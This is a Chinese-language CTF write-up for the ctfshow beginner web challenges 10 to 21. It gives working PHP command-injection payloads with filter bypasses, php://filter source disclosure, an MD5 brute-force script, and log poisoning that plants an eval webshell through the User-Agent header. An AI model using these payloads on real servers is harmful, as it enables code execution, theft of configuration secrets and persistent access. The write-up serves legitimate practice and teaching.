CTFSHOW 萌新web10-21

ctfshow 萌新web10-21

web10

image-20221123153416277

题目提示flag在congfig.php中

php中作为执行系统命令的函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

源码中过滤了 system,exec,highlight 这三个常用的PHP命令执行函数,绕过过滤条件就可以使用 eval() 函数执行PHP代码了,我们使用其他的命令执行函数即可,这里使用 passthru()函数即可

payload: ?c=passthru('cat config.php');

显示页面为空格,查看网页源代码得flag

web11

image-20221123154308937

与web10相比,此处多过滤了cat,用more代替cat即可

payload: ?c=passthru('more config.php');

显示页面为空格,查看网页源代码得flag

web12

image-20221123160328443

由提示flag在config.php中,但是config.php被过滤,抓取文件内容的cat也被过滤

利用其它方法绕过过滤,命令执行函数passthru未被过滤可利用

cat可用tac或more(需要多一步查看网页源代码)替代

解法一:

config.php可先base64编码再解码方式绕过

payload: ?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");

注意:这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的

因为在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

解法二:

通配符绕过

payload:

?c=passthru('tac ??????????');
?c=passthru('tac c*');
?c=passthru('tac *');

web13

image-20221123163951889

新增;被过滤 可用?>代替绕过

解法一:

payload: ?c=passthru('tac *')?>

解法二:

passthru("ca''t `ls`")?>

Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句

web14

image-20221130161200679

用include函数和伪协议构成Payload

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

(用?>代替;只能执行一次代码)

得到一段base64编码

image-20221130161559665

解码得到flag

web15

image-20221130161959330

与web14相比?>被过滤,但是;被放出来了,将web14中payload?>改为;即可

include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

web16

image-20221130162606260

由涉及md5比较

利用脚本爆破

import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
    for j in str :
        for k in str:
            s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
            if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
                print(i+j+k)#输出字符c的值

得到c的参数值:36d

payload:

?c=36d 

web17

image-20221130163806124

c传参过滤掉php
思路:include文件包含,利用日志文件包含

访问日志文件:
?c=/var/log/nginx/access.log

image-20221130170707224

发现日志文件记录了user-agent头,于是在该头中插入一句话木马:

<?php eval($_POST['a']);?> 

image-20221130170923371

蚂剑链接发现flag

image-20221130171213464

image-20221130170954990

web18

同web17日志包含解出

web19

同web17日志包含解出

web20

同web17日志包含解出

web21

同web17日志包含解出

posted @ 2023-04-13 21:20  ikn0w1T  阅读(63)  评论(0编辑  收藏  举报